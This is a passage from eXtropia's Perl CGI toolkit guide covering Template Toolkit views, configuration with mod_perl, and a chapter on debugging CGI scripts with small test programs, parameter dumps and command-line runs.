    my $cgi        = shift;
    my $content = $cgi->header();
    $content .= qq[
        <HTML>
        <HEAD>
            <TITLE>Record Set Test</TITLE>
        </HEAD>
        <BODY>
        <CENTER>
        <TABLE>
    ];

    $record_set->moveFirst();
    while (!$record_set->endOfRecords()) {
        my $field1 = $record_set->getField('field1');
        my $field2 = $record_set->getField('field2');
        my $field3 = $record_set->getField('field3');
        $content .= qq[
            <TR>
               <TD>$field1</TD>
                <TD>$field2</TD>
               <TD>$field3</TD>
            </TR>
        ];
        $record_set->moveNext();
    }

    $content .= qq[
        </TABLE>
        </BODY>
        </HTML>
    ];
    return $content;
}
```

The code above represents a view that walks through and prints the contents of a record set. The following steps summarize what we did to accomplish this.

1. Listen for the record set in the variable declaration section

2. Shift off the record set so that you can use it locally.

3. Move to the first record in the record set

4. Loop through the record set by moving to the next record in the record set while there are remaining records.

5. Extract the field values of the record set. Note that these field names correspond with those you defined in the data source configuration in the application executable.

6. Use the fields in your HTML display. In the case above, we just generate a simple table row for each record.

;o)

7 Look and Feel

7.1 Intro

This document explains how the output of ADT is rendered and how you can adjust it for you particular needs.

7.2 The View Model

Our ADT follows the concept of separation between content generation and output rendering phases. Therefore we use Action Handlers to process the request and generate the data which later on will be rendered by the view code. This enables us to use the same data for different output formats. Think about user submitting his personal information and the program needing to send the same response by email and to the browser. We want the same data to be rendered in a different ways and different actions to be taken according to the need.

Our view module uses templates to generate the output. There are many Perl templating solutions out there. We believe that Template Toolkit, the solution that we have chosen suits our users needs the best, since it allows to perform easy things easily and complex things possible. Another benefit of using Template Toolkit is an extensive documentation it comes with. The documentation includes manuals, tutorials and other reference material. You can access this material from http://template-toolkit.org/. Note that we supply a copy of Template toolkit distribution, so you don't have to do anything additional to start using our ADT. However, if you want to use the latest Template Toolkit version, get it from the URL, we have just mentioned. The Template Toolkit package is also available from http://cpan.org/.

Since the templating system that we use is well documented, we will document here only things specific for our ADT view model.

7.3 Templates and Data.

Templates are used for rendering data created in the Action Handlers.

7.3.1 Simple Introduction into Template Toolkit

A simple template might look like this:

```
Hello [% data.user.first_name %] [% data.user.last_name %].
Today is [% data.date.string %].
```

Which could be written in Perl as:

```
print "Hello $data{user}{first_name} $data{user}{last_name}.\n";
print "Today is $data{date}{string}.\n";
```

So the data is templates can be a nested hash. Or a list:

```
[% FOREACH index = 0..data.total_disks %]
    Disc  : #[% index %]
    Title : [% data.disks.$index.title  %]
    Artist: [% data.disks.$index.artist %]
[% END %]
```

which in Perl can be represented as:

```
foreach my $index ( 0..@{ $data{total_disks} } ){
    print << "__INPUT__";
    Disc  : #$index
    Title : $data{disks}[$index]{title}
    Artist: $data{disks}[$index]{artist}
__INPUT__
}
```

So you just use '.' to access the members of the nested hash or array by using the key names and indexes.

Of course you have simple scalars:

```
Hello [% name %]
```

which in Perl would be:

```
print "hello $name\n";
```

7.3.2 Setting Data for the Templates

You can make any data structure visible to the template from within Action Handlers, by using the `$app->setAdditionalViewDisplayParam` method.

For example you have a hash data structure with records' data (`%my_records`). Let's say that you want it to be visible under the *'records'* key. After you add the following snippet to your Action Handler:

```
$app->setAdditionalViewDisplayParam
   (
    -PARAM_NAME  => "-RECORDS",
    -PARAM_VALUE => \%my_records,
   );
```

Templates can access the data in the records hash as:

```
[% FOREACH $key = data.records.keys %]
    key [% $key %], value [% data.records.$key %]
[% END %]
```

Note that the leading `'-'` stripped and the key becomes lowercase. The leading `'-'` has to be removed since Template Toolkit doesn't allow keys to start with `'-'`. The keys become lowercase to make it easier to distinguish them from the Template Toolkit's language constructs which uses upper case.

7.3.3 Template's Local Data

You can create your local data in the templates. For example:

```
[% who = "eXtropia" %]
[% who %] rules
```

will print:

```
eXtropia rules
```

data is special container which protects the data created outside the templates from the local template variables.. For this reason you should never set any values inside the *data* container from within the templates. The following practice is very undesirable:

```
[% data.user = { fname => 'Gunther', lname => 'Birznieks'} %]
```

Since you don't know whether some Action Handler has set this key already for some other template. In this case you may destroy some data that other templates rely on. Hence if you need to create local variables you shouldn't use the *data* container.

7.3.4 Configuration Data

In additional to the data you set from within the Action Handlers, all the configuration data from the *.cgi* file is available through the same *data* container. Just like the data from the Action Handler, in order to access the configuration data (in `@ACTION_HANDLER_ACTION_PARAMS`) you should take the configuration key, strip the leading `-` and lowercase it. For example to access the key `-SORT_FIELD1` from the `@ACTION_HANDLER_ACTION_PARAMS` you can write:

```
The sort field is [% data.sort_field1 %]
```

7.3.5 Nesting Templates

The templates are highly reusable pieces of representation. You can build many little components and stack them together to build the final look and feel. This means that you can use the same component in many places. The simplest example is the use of the header and the footer. Usually the same header and footer are used for all pages of the site. Headers usually have different titles, but the rest is usually the same. So let's look at the header and footer templates. Let's call these components *header* and *footer*.

All the templates have the extension *.ttml*. And we don't supply this extension when we use the template. So the two components will reside in the *header.ttml* and *footer.ttml* files respectively. Let's also create a template *body.ttml*, which will represent the real body and use the other two templates.

For example to insert the template *header.ttml* into the template *body.ttml* you can write:

```
[% embed('header') %]
This is the body
[% embed('footer') %]
```

where a *footer.ttml* can be:

```
<HR>
Created by eXtropia
```

and *header.ttml*:

```
title: hello world
```

As you can see we use a special function supplied by ADT to embed one template into another. We don't use the standard `INCLUDE` and `PROCESS` Template Toolkit functions, since we do some work behind the scenes as we will explain in the moment.

This will generate the following page:

```
title: hello world
This is the body
<HR>
Created by eXtropia
```

But as we said before, we want to be able to have different titles in different pages. This is solved very easily with the same *embed()* function.

```
[% embed('header',
         {-TITLE => 'A new title'}
        ) %]
This is the body
[% embed('footer') %]
```

now we adjust the *header.ttml* to be:

```
title: [% data.title %]
```

and we get the output:

```
title: A new title
This is the body
<HR>
Created by eXtropia
```

`embed()` accepts the template name as a first argument (without the *.ttml* extension), and a reference to an array or hash as a second argument. This second argument can pass as many key-value pairs as wanted. They all will be available inside `data.` container in the nested templates. Just remember that the key should start with `'-'`.

7.4 HTML templates

The following notes are specific to the HTML templates.

7.4.1 Setting HTTP Headers

No HTTP headers get send until all templates get processed. Therefore you can override the default HTTP headers with your own from any template. You can use the `set_headers()` function, which accepts a ref to hash with headers as a single argument. For example to redirect the response to *http://example.com/* you can say:

```
[% set_headers( { Location => 'http://example.com/' } ) %]
```

Note that if you set the same header twice the previous header setting will be overridden with the new value.

7.5 Default ADT versus Custom Templates

Every *.cgi* defined the `@TEMPLATES_SEARCH_PATH` array. This array specifies the search path for the templates. For example in *addressbook.cgi* you will see:

```
my @TEMPLATES_SEARCH_PATH =
  qw(HTMLTemplates/AddressBook
     HTMLTemplates/Default);
```

By default the templates are searched: first in the *HTMLTemplates/AddressBook* so we can provide customized templates for the application and if the template is not found it'll be searched in *HTMLTemplates/Default*. If still not find the application will print an error and die.

Let's say that you want to set up a few identical application but for them to have a different look and feel. One way to do that is to have two *.cgi* files where you specify in the first one:

```
my @TEMPLATES_SEARCH_PATH =
  qw(HTMLTemplates/CustomOne
     HTMLTemplates/AddressBook
     HTMLTemplates/Default);
```

and in the second:

```
my @TEMPLATES_SEARCH_PATH =
  qw(HTMLTemplates/CustomTwo
     HTMLTemplates/AddressBook
     HTMLTemplates/Default);
```

So you can have two different sets of template for those templates that you want to override. Those templates that weren't overridden can be still found in either *HTMLTemplates/AddressBook* or *HTML-Templates/Default*.

Remember that any template can be overridden. You don't have to copy all the templates into your custom directory if you don't intend to customize them all.

7.6 Using Cascading Style Sheets

In order to make easy look-n-feel changes ADT now uses Cascading Style Sheets (CSS). You specify the look and feel in the CSS file, which is then used for all web-pages. For more information about CSS please refer to *http://www.w3.org/Style/CSS/*.

ADT comes with our generic CSS file which is places inside a template *HTMLTem-plates/Default/CSSView.ttml*. You are urged to customize this template to create a unique look-n-feel for your own version of the eXtropia application that you run.

To improve the performance you probably want to convert this template into a normal CSS file, so it can be cached in the browsers. For example if you have moved the style definitions into a CSS file which can be accessed as */myproject.css*, you have to adjust *.cgi* files to point to this new location:

```
my $CSS_VIEW_URL = "/myproject.css";
```

7.7 ...

[GB: Would like to see some example usage sections....from simple to complex for example, explain the snippet of code that webdb uses to generate the CGI.pm widgets for the modify form as a complex example and explain how to print a simple iterative data structure as a more simple example]

[SB: Why duplicating the so well written template toolkit documentation? Of course it makes nicer for users to have all the documentation in one place, but if they are planning on actually messing with templates (other than changing the HTML) they *have* to read the real template-toolkit tutorial and/or manual. If we duplicate the already written documentation who is going to make sure that it stays in sync?

I’ve covered here only the things specific to ADT which aren’t covered by the tt tutorial.]

[GB: I have to disagree. Although it may seem like duplication, it is not.

I think that examples are needed that are specific to eXtropia. Actually maybe the best place for it (and you can reference it) is to change configbyexample.pod so that the changing of the views and the email views is made up to date.

This was an invaluable section that was personally tested by Hsien so she could even make the simplest changes she wanted on the scripts without being too technical 1 1/2 years ago]

;o)

8 Advanced Topics

8.1 Overview

There are two setup issues that go beyond the normal installation however which some readers will definitely care about. If you are a beginning or intermediate reader, you can feel free to skip this section. The information here is not necessary for a basic installation and customization project.

8.2 Loading Setup Files

It is probably worth mentioning that including configuration parameters within the application executable is not the only setup architecture that you could use. In fact, in the last edition of this book, Instant Web Scripts, we recommended using standard setup files to configure applications.

In this edition we changed our design to put configuration in the executable itself for two reasons:

1. Putting configuration information in the executable is more secure.

2. Putting configuration in the executable allows for easier integration with mod_perl.

8.2.1 Reason 1: Security issues

Putting configuration into an executable makes it less likely that a cracker will be able to read your sensitive configuration information. While it is possible that if there is an error with the web server that CGI files might become readable as text, that problem would be very rare indeed.

It is far more likely that a web server will be configured to allow setup text files to be read by a web browser. Though we have always been careful to let users know that they should move sensitive files such as setup files out of the web documents tree, we find that many users fail to heed our warnings.

Thus, putting configuration data in the executable itself is one way we proactively protect our users.

8.2.2 Mod_perl Issues

Putting the configuration information in the executable also makes it easier to integrate with perl accelerators like mod_perl that cache the contents of files for efficiency. If we were to load a setup file into an application under a mod_perl environment, we would have to be very careful to make sure that the namespace of the setup library was protected. As you will see in the next section, this can be a real pain.

8.3 Using a Setup File with Mod_Perl

As we just said, it is actually possible to read a setup file from any eXtropia application. However, to maintain mod_perl compatibility, if you want to do so, you must go through a few back flips.

```
BEGIN {
    use lib qw(./ExtropiaAppAdminFiles/Modules);
    use strict;
    use CGI;
    use CGI::Carp qw(fatalsToBrowser);

    use vars qw(
        $CGI
    );

    $CGI = new CGI();
    require ("setup_file.pl");
    delete @INC{$SETUP_FILE};
}
```

Further, in any setup file, you must be careful to declare all variables using use vars because the `my` declarations will not carry over to the executable.

```
$SAMPLE_VAR = 1;
use vars qw($SAMPLE_VAR);
```

8.4 Enhancing eXtropia Application Performance

One of the most frequently asked questions is *How do I speed up my CGI script?* Well, there are several ways which we will discuss here.

8.4.1 Performance Tuning eXtropia Module Usage

One thing you should consider when configuring eXtropia applications is that some of our modules rely on modules from CPAN. Some of those modules may be fairly heavy and could add to the load time of your application.

For example, if you are using an *eXtropia::DataSource* with a date data type, we load *Date::Parse* to parse the date formats. If you do not wish to load this module, we recommend that you turn this field in your data source into a string data type.

The same goes for the use of date validation using *eXtropia::DataHandler*. Many of the functions in this data handler make use of *Date::Parse* as well.

If you are worried about module dependencies, we suggest that you read the relevant chapters related to those modules for their dependencies. A quicker way to do this is to use the perldoc utility on the specific driver to see what dependencies it relies on.

8.4.2 Perl Accelerators

Most web sites work well using plain CGI/Perl technology. However, there are web sites that require more power either because they are heavily hit, or because they have special performance requirements. Fortunately, Perl acceleration technology has matured in the last couple of years. Also fortunately, the eXtropia applications have been architected to take advantage of this.

We will talk primarily about acceleration of our applications under the Apache/mod_perl environment. However, the tips we discuss here can work just as well with other Perl accelerators such as Velocigen from Binary Evolution and PerlEx from ActiveState.

We talk about these accelerators in more detail in the eXtropia Application Development Toolkit Guide discussed in the Further References appendix. In addition, we encourage you to visit the website at http://perl.apache.org/ that includes links to documentation about mod_perl including the incredibly useful Mod_Perl Guide by Stas Bekman.

However, to refresh your memory here is a summary. Perl accelerators run CGI/Perl faster in two ways.

First, the Perl engine itself runs alongside the web server and remains in memory even after a request has been processed. Traditional CGI/Perl always requires loading the Perl engine from scratch each time a script is executed.

Second, because the Perl engine is persistent in memory, all code that is loaded is cached along with any global data that the scripts set.

Fortunately, all the applications in this book use Perl packages and are written using the object-oriented paradigm. This means that all the object libraries are highly modular and benefit quite a bit from being cached inside a Perl interpreter. In fact, if you were to run an eXtropia application using a mod_perl environment, you should expect dramatic speed increases.

However, we can go one step further. If you are using mod_perl, we suggest that you pre-load a lot of the modules including the application modules into the web server. For your reference here is a list of use statements indicating some of the commonly used modules you would want to load for the WebResponder.

```
use eXtropia::App::WebResponder;
use eXtropia::Base;
use eXtropia::Error;
use eXtropia::View;
use eXtropia::RecordSet;
use eXtropia::DataSource::File;
use eXtropia::Lock::File;
use eXtropia::Session::File;
use eXtropia::SessionManager::FormVar;
use eXtropia::AuthManager::CGI;
use eXtropia::Auth::DataSource;
use eXtropia::Auth::Cache::Session;
use eXtropia::UniqueFile;
use eXtropia::KeyGenerator::POSIX;
use eXtropia::KeyGenerator::Random;
use eXtropia::Log::File;
use eXtropia::DataHandlerManager::CGI;
use eXtropia::DataHandler::Exists;
use eXtropia::DataHandler::Email;
use eXtropia::DataHandler::Number;
```

You may want to also consider preloading non-eXtropia modules that the eXtropia modules may depend on. Here is a small list:

```
use CGI;
use CGI::Carp;
use MD5;
use Fcntl;
use Date::Parse
use Date::Manip
```

Preloading modules serves two purposes.

First, all the preloaded modules will be pre-cached so that they don’t have to be loaded when the user first runs the script. Second, when Apache loads a module at startup, the module gets copied into every subsequently launched apache process. Thus, instead of executing a use statement in every apache process, you end up executing the use statement in the startup Apache process and then it gets copied in memory to all the subsequently launched apache processes for next to free.

In addition, most modern UNIX-based web servers share the RAM that was allocated in the first process. Therefore, if a module is loaded in the first process, the subsequent copies will share the same RAM. If the module loads after the Apache process is forked off, then the new forked copy will not share the same RAM for that module.

;o)

9 Debugging Web Applications

9.1 Overview

> *"I downloaded an application and it won't work." We get this email about 5 or 6 times every day. The way that we address the problem however, is not by providing an answer, but by telling a story. We tell a story about us - a mystery.*

It is a story about how we debug applications on the zillions of different, intractable, curmudgeonly systems that exist on the web.

It is a story about how we find the culprit bug when we are not exactly sure about how the operating system works, which web browsers are trying to run the application, what funky directives the local system administrator has applied to the server, or any other number of big, hairy, ugly question marks that stand between us and a programming-free weekend.

It is a mystery which, as most mysteries do, begins with Sir Arthur Conan Doyle.

Let's see what Doyle has to say about debugging.

> *"By a man's finger-nails, by his coat-sleeve, by his boots, by his trouser-knees, by the callosities of his forefinger and thumb, by his expression, by his shirt- cuffs -- by each of these things a man's calling is plainly revealed. That all united should fail to enlighten the competent inquirer in any case is almost inconceivable." - From A Study In Scarlet*

Well, this may not seem like a discussion of software debugging, but it really is. What Doyle is trying to say is that all software and hardware bugs want to be caught. In fact they want to be caught so badly, that they carefully lay clues for you as to their whereabouts. Perhaps Doyle meant to say something like the following:

> *"By an applications error message on the command line, its output to STDOUT, by the HTTP message it sends to the web browser window, by its entry in the error log, by the interaction of its algorithms, by the libraries it calls and the responses sent by them, -- by each of these things applications failures are plainly revealed. That all united should fail to enlighten the competent hacker in any case is almost inconceivable." - From A Study In CGI*

As a debugger, it's your job to listen to those clues, put them together into a theory that can be tested, and test the theory against the software package. In almost every case, you will bat yourself on the brow and say to yourself, ''Doh! Of course, how simple!''. Because, when all is said and done, computers are pretty simple creatures and when they break down, there are usually pretty simple reasons why.

9.1.1 The Virtue of Nothingness

Benjamin Hoff once revealed this interesting little story about Taoism and we supposed that we might pass it along to you.

> *"I am learning," Yen Hui said.*

"How?" the Master asked.

"I forgot the rules of Righteousness and the levels of Benevolence," he replied.

"Good, but could be better," the Master said.

A few days later, Yen Hui remarked, "I am making progress." "How?" the Master asked.

"I forgot the Rituals and the Music," he answered.

"Better, but not perfect," the Master said.

Some time later, Yen Hui told the master, "Now I sit down and forgot everything."

The Master looked up, startled, "What do you mean, you forgot everything?" he quickly asked.

"I forgot my body and senses, and leave all appearance and information behind," answered Yen Hui. "In the middle of Nothing, I join the source of All Things."

The Master bowed. "You have transcended the limitations of time and knowledge. I am far behind you. You have found the Way!"

- From the Tao of Pooh

Benjamin added, ‘‘An empty sort of mind is valuable for finding Perls and Tails and things because it can see what’s in front of it. An Overstuffed mind is unable to.’’ (Well he actually spelled it like ‘‘Pearls’’, but we know what he meant.)

What does this have to do with CGI debugging you ask? Well, it has everything to do with CGI debugging. CGI debugging is not a skill. It is not a thing you learn in school. It is not something that is particularly aided by FAQS, or books, or system administrators, or discussion boards.

9.1.2 CGI debugging is a state of mind.

If you have spent more than an hour on a problem, it is time to stop. Very few problems necessitate more than an hour to solve, so if youve been sitting there for an hour you can be sure that it is most likely that the problem you are having is not the bug, but yourself.

At this point, it is time to turn off the monitor, light a candle and some incense, turn on some music, and relax.

You might even go out and walk around the block if it is warm and sunny.

About 20 minutes later you should be ready to get back to work having achieved several crucial things:

1. You are not one application closer to a heart attack.

2. You are not angry or frustrated.

3. You have cleared your mind of all your preconceived ideas about what you think the bug is saying and are prepared to ‘‘listen’’ to the bug to find out what it says it has to say.

4. You are not intimidated by the application. Programming is like riding horses - the minute the application thinks that it is in charge is the minute it throws you off. (Well, most horses are not that mean, but you know the expression)

9.1.3 The Scientific Method and The Nitty Gritty of Debugging

Upon returning from the void, the first thing you should do is to set aside the program and start by coding something really, really small.

You see, debugging is an exercise in the scientific method. And in the world of the scientific method, the best thing you can do is break everything up into the smallest pieces you can because the whole is going to be a summation of the parts and when you find the faulty part, you find the problem.

> **NOTE: If you would like to get a quick set of debugging test scripts, try the following URL:**
>
> **http://www.extropia.com/scripts/debug_examples.html**
>
> **NOTE: If you are not a Perl expert, debugging code can seem pretty daunting. However, dont let it frighten you. Perl is one of the best languages for providing excellent documentation. Not only are there a host of excellent books from OReilly, but there are online tutorials such as those at http://www.extropia.com/tutorials/ and http://www.perl.com/.**

Further, Perl provides its own online documentation in the form of perldoc. Perldoc is easy to use. To learn about any standard installed module, type the following from the command line:

```
$ perldoc [modulename]
```

Thus, to get documentation for the CGI.pm module, use the following:

```
$ perldoc CGI
```

To obtain documentation on any Perl function, use

```
$ perldoc -f functionname
```

Thus, to get documentation on the use of the `print()` function, use the following:

```
$ perldoc -f print
```

To learn about references use perldoc perlref and to learn about object-oriented perl features, try perldoc perltoot. Finally, to get a list of all the Perl tutorials, try:

```
$ perldoc perltoc
```

9.2 Starting with Hello World

In other words, you should start by creating the most minimal CGI program you can so that you will be able to determine what special traits your local executing environment has that might cause a more complex program to fall apart.

Try this little application out for size. Copy and paste the following lines of Perl code into a plain text file, and save it as hello_cyberspace.cgi somewhere in the cgi-bin directory tree.

```
#!/usr/local/bin/perl
print "Content-type: text/html\n\n";
print "<HTML>Hello Cyberspace</HTML>";
```

Okay, now set the permission for this little application so that it is readable and executable by the web server. Typically, you will use the following command on a UNIX-based web server.

```
chmod 755 hello_cyberspace.cgi
```

Next, run the ‘‘Hello Cyberspace’’ application from your browser. You will probably need to access it with a URL something like the following:

http://www.yourdomain.com/cgi-bin/hello_cyberspace.cgi

Does it work? If not...

1. The first line (#!/usr/local/bin/perl) might be wrong or you may have accidentally put a blank line before it so that it is not ‘‘really’’ the first line. Check out the section in the Installation Chapter in this guide entitled ’Modifying the Perl Path Line’.

2. You mis-typed the HTTP header. In order for your browser and server to communicate, you must correctly follow the HTTP protocol. This protocol specifies that an HTML-based response, be preceded with ‘‘Content-type: text/html’’ followed by two newline characters.

3. You did not set the permissions correctly and the web browser has not been given the right permissions to execute the application. The permissions should be 755.

4. You are not allowed to execute CGI applications from the directory that you have created the hello_cyberspace.cgi in and you either got a 500 server error or you received the text of the application in your web browser. The system administrator has restricted you because CGI applications can be dangerous and she wants to protect her system from your incompetence.

Most likely, the system administrator has either created a special directory like cgi-bin for you to put CGI applications or has allowed you to create special ‘‘access files’’ that tell the server that in this special case, it is okay to run a CGI application. Either way, you should check with your system administrator and ask her how she has decided to deal with CGI applications and in which directories it is okay for you to run them.

5. There are invisible embedded new line characters. Read the related section earlier in Installation Chapter of this guide entitled ’Unpacking on Windows and Mac’.

At this point, you can be pretty sure that if the ‘‘Hello Cyberspace’’ application did not run, it was because of one of the five reasons above. After all, there is not much that can be wrong with three lines of code. That is the reason that we are starting so small.

9.2.1 Figuring Our Where You Are

The next thing to do is to try to get the little application to talk to external files. Since most likely, you will be using CGI.pm to interpret incoming form data, we may as well start by talking to CGI.pm. To do that, you will use the ’use’ command.

```
#!/usr/local/bin/perl
print "Content-type: text/html\n\n";
print "<HTML>Hello World</HTML>";
use CGI;
```

Try it out and see if it works. If all went well, there should be no change in the output of your program.

So what could go wrong with that?

For one, the Perl interpreter may not be able to load the requested module. Suppose you got the following error:

```
$ perl hello_cyberspace.cgi

Can’t locate CGi.pm in @INC (@INC contains: /usr/local/perl/lib
/usr/local/perl/site/lib .) at hello_cyberspace.cgi line 4.
BEGIN failed--compilation aborted at hello_cyberspace.cgi
line 4.
```

This error clearly notes that it was trying to locate the CGi....whats that....CGi.....didnt you mean CG’I’!!! Well as you can see, if Perl cannot load an external module, it will let you know. In this case, it was a simple typo. However, it could also be a more difficult error to hunt down.

For example, you can be pretty sure that when you issue a use command on a Perl module in the standard distribution of Perl, that the Perl interpreter will be able to find it, barring typos.

Well, on the other hand, if you are trying to locate modules that are not part of the standard Perl distribution (like the eXtropia Modules) it can be more difficult because Perl does not know where to look right off the bat.

Thus suppose you had a directory structure that looked like the following:

```
apache
    cgi-bin
        Test
            hello_cyberspace.cgi
        Modules
            eXtropia
                Datasource.pm
```

Now suppose you make the following modifications to your script:

```
#!/usr/local/bin/perl

print "Content-type:text/html\n\n";
print "<HTML>Hello World</HTML>";

use CGI;
use Datasource;
```

What do you suppose will happen? Well, youll get an error much like the following:

```
$ perl hello_cyberspace.cgi
Can't locate Datasource.pm in @INC (@INC contains:
/usr/local/perl/lib /usr/local/perl/site/lib.) at
hello_cyberspace.cgi line 6. BEGIN failed--compilation
aborted at hello_cyberspace.cgi line 6.
```

The problem is that the Perl interpreter is looking in its default array of directories, @INC, in which it has been told to expect Perl modules and your module, *Datasource.pm*, is not in any of those directories. That is, your copy of *DataSource.pm* is located in *apache/cgi-bin/Extropia/Modules*. Perl is looking for it in */usr/local/perl/lib* and */usr/local/perl/site/lib*.

What you need to do is give Perl some hints as to where it might find your module. To do that, you use the 'use lib' command modifying your application to read:

```
    #!/usr/local/bin/perl

    print "Content-type:text/html\n\n";
    print "<HTML>Hello World</HTML>";

    use lib qw(../Modules/eXtropia);
    use CGI;
    use Datasource;
```

Now youll be able to run your application without a hitch. The `use lib` command tells the Perl interpreter to also look in the directory *apache/cgi-bin/Modules/eXtropia*.

So what if that still did not work? Well, you have two possible problems

1. Permissions, permissions, permissions! Check that the directories in the path are all executable by world so that the web server can traverse them and that the files and directories are readable by world so that the web server has permission to read them.

2. Some ISPs host all accounts as virtual servers. This means that every account sees itself as the root server, when in actuality, there is one root server which has aliases to each account. They may also implement a CGI wrapper as discussed earlier.

9.2.2 Where are we?

The problem with paths changing out from under your script is not just a problem with CGI wrappers or virtual accounts. Some NT web servers such as IIS, older versions of Netscape, and Website have a different conception of working directory than other web servers.

For example, some web servers run CGI scripts from the point of view of the directory containing .conf files. Others run scripts from the perspective of the cgi-bin alias.

Whatever the case, you can mitigate this problem by using the `chdir()` (change directory) command.

To do so, add the following code to your CGI application

```
BEGIN {
    chdir('some_absolute_path');
}
```

Note that this block of code should come directly after the first line that points to the location of Perl so that all your code will be affected by the directory change.

Essentially, the code changes the working directory to that specified by 'some_absolute_path'. In theory, you will set this equal to the actual absolute path of the script itself.

Virtual Servers are more secure for the ISPs, so they prefer them. The use of Virtual Servers also allows you to have your own domain name instead of the domain name of the ISP so they are also nice for you. However, they can cause lots of problems when trying to install applications that need to talk to other files on the file system (like hello_cyberspace.cgi needs to talk to DataSource.pm). Specifically, virtual servers can occasionally get kind of screwy when it comes to what path is the ''real'' path (especially Windows servers).

It is possible that the path that you see from the command line may be totally different from what the web server sees when it runs. Thus, what you may see as:

```
domainname/cgi-bin/hello_cyberspace.cgi
```

the web server may see as:

```
/usr/local/etc/httpd/cgi-bin/hello_cyberspace.cgi
```

And when you tell it to use something like *./Library/Datasource.pm*, the web server may look for:

```
/usr/local/etc/httpd/cgi-bin/Library/Datasource.pm
```

instead of:

```
domainname/cgi-bin/Library/Datasource.pm
```

The solution is to ask your system administrator what path you should use when loading files into your CGI application. Another way to find out what path the web server is using is to use `Cwd`. You can try adding the following lines to your application:

```
#!/usr/local/bin/perl
print "Content-type: text/plain\n\n";
use Cwd;
my $dir = getcwd();
print "$dir\n\n";

This should echo back the current working directory as seen by your
web server. This path will help you determine what you need to type
in order to get your application to access a supporting file like
F<DataSource.pm>. But remember that you can always just work this out
with your system administrator. That is what she is there for. That
is what you pay her to do.
```

9.2.3 What The Application Sees

Once you have successfully loaded *CGI.pm*, you can use it to make sure that your CGI application is actually getting the information from the browser that it is supposed to get.

> **NOTE: Since the usage of CGI.pm is covered in depth in Lincoln Stein's book and web site, we won't bother to explain its usage. If you are not sure what `$cgi->param()` is, just do some reading. It is a quick chapter and pretty straightforward. You can also use perldoc as was discussed earlier.**

To do so, we can add a couple of lines to our little CGI application.

```
#!/usr/local/bin/perl
print "Content-type: text/html\n\n";

use CGI;
my $cgi = new CGI();
my $param;
print "<HTML>";
foreach $param ($cgi->param()) {
    print "$param = " . $cgi->param($param) . "<BR>\n";
}
print "Hello Cyberspace";
print "</HTML>";
```

So what did we add to the application? We simply added a small foreach loop that goes through each of the incoming form variables stored by the CGI object and printed out the name and value of the form variable.

If you try to run this from a web browser, you will need to pass in some parameters. To do so, just use a URL-encoded string such as:

```
http://www.mydomain.com/cgi-bin/Test/hello_cyberspace.cgi?fname=Selena&lname=Sol
```

9.2.4 Debugging From The Command Line

You may also be interested in running this script from the command line. However, when you try it out, youll be in for a surprise. Instead of running the application straight through, it will pause.

What you'll see is something like:

```
$ perl hello_cyberspace.cgi
(offline mode: enter name=value pairs on standard input)
```

What has happened is that CGI.pm has detected that you are running the application from the command line rather than from a browser and will give you the opportunity to input the form NAME/VALUE pairs that would be coming in if the application had been called from the web.

The application will not run. It will just sit there. In fact, it is waiting for you to enter name value pairs and then hit `CTRL-D` (or `CTRL-Z` on Windows) to continue.

If you type in some parameters then hit the CTRL sequence, youll get the intended results:

```
$ perl hello_cyberspace.cgi
Content-type: text/html

(offline mode: enter name=value pairs on standard input)
fname=Selena
lname=Sol
email=selena@extropia.com [ HIT THE CTRL-Z (or CTRL-D) HERE]

lname = Sol<BR>
email = selena@extropia.com<BR>
Hello Cyberspace

C:\Program Files\Apache Group\Apache\cgi-bin\Test>
```

You should consult the documentation for *CGI.pm* if you want more information on how to more efficiently debug CGI applications from the command line. Most systems should have installed the documentation already. Thus, you should be able to get the documentation by typing the following:

```
perldoc CGI
```

This little foreach loop is an invaluable tool when you want to check to see what the application thinks its variables are. While debugging, you can always temporarily add this foreach loop to zip through the current variables and check to see what they are. It may be that one of the following problems has occurred:

1. You have accidentally overwritten a variable.

2. The application has lost some values for variables you thought it had.

3. The application never received variables that it needs.

Often one forgets to pass state information from page to page via hidden variables. If you forget to add state information to every HTML page, it is easy to lose it along the way. Most of the time, that state information is crucial. So anytime you have a CGI application that utilizes several screens of info, you should print out your variables when debugging to make sure they are all getting passed back to the application.

Oh, and one more thing -- you can also get a listing of the current environment variables by adding the following foreach loop:

```
foreach $environment_variable (%ENV)  {
    print "$environment_variable = $ENV{$environment_variable}<BR>";
}
```

9.3 Advanced Error Hunting

So what happens if you introduce logical errors into the application while you are debugging? Worse yet, what if there are 1000 lines of code and you are not sure where the error is because you were coding excitedly and jumping back and forth through sections without constantly checking yourself to see what you did?

Well, this is actually pretty common and there are quite a few ways to go about finding the error depending on your taste.

9.3.1 Command Line Tactics

The first and most common way to check to see where an application is failing is to run it from the command line because the command line will give you much more information than the web browser when you are trying to debug.

Perl makes it very easy for you to check the syntax of your CGI application by offering you a syntax checker. In order to check the syntax of your CGI application, simply type the following from the command line:

```
$ perl -c app_name.cgi
```

Of course, if executing the code has no effect other than outputting, you can also just try running the application itself without debugging using the following command:

```
$ perl app_name.cgi
```

Perl will attempt to execute your CGI application and will output errors if there are any. Perl sends back a good deal of useful information about your problem. Typically, it will do its best to analyze what the problem was as well as give you a line number so that you can look into the problem yourself.

9.3.2 Taint Mode Issues From The Command Line

If you are testing taint-mode-enabled applications, make sure you use perl -T when running applications from the command line or else you'll get the error:

```
Too late for "-T" option at mlm.cgi line 1.
```

Thus, you might use something like the following:

```
$ perl -T hello_cyberspace.cgi
```

9.3.3 Log File Analysis

Assuming that your system administrator has given you access to the log files, another useful debugging tool is the error log of the web server you are using. This text file lists all of the errors that have occurred while the web server has been processing requests from the web. Each time your CGI application produces an error, the web server adds a log entry.

If your system administrator does not allow access to the error log, you may ask her to email you a version with only errors related to your work. She can create such a version by using the grep command and it should not be too difficult.

On the other hand, if you do have access to the error log, it can usually be found in the logs directory under the main web server root.

For example, on most Apache servers it can be found at

```
/usr/local/etc/httpd/logs
```

9.3.4 Dressing Up As a Web Browser

In Teach Yourself CGI Programming in Perl by Eric Herrmann and in CGI Programming on the World Wide Web by Shishir Gundavaram you can read about a method to test your CGI applications using telnet. We recommend reading these texts if you have the chance. In the meantime, here is a quick explanation.

If you are able to use the TELNET program to contact your web server, you can view the output of your CGI application by pretending to be a web browser. This makes it easy to see ‘‘exactly’’ what is being sent to the web browser.

The first step is to contact the web server using the telnet command:

```
telnet www.yourdomain.com 80
```

Typically, web servers are located on port 80 of your server hardware. Thus, for most of you, you need only contact port 80 on the server. Once you have established a connection with the HTTP server, you may formulate a GET request:

```
GET /cgi-bin/test.cgi HTTP/1.0
```

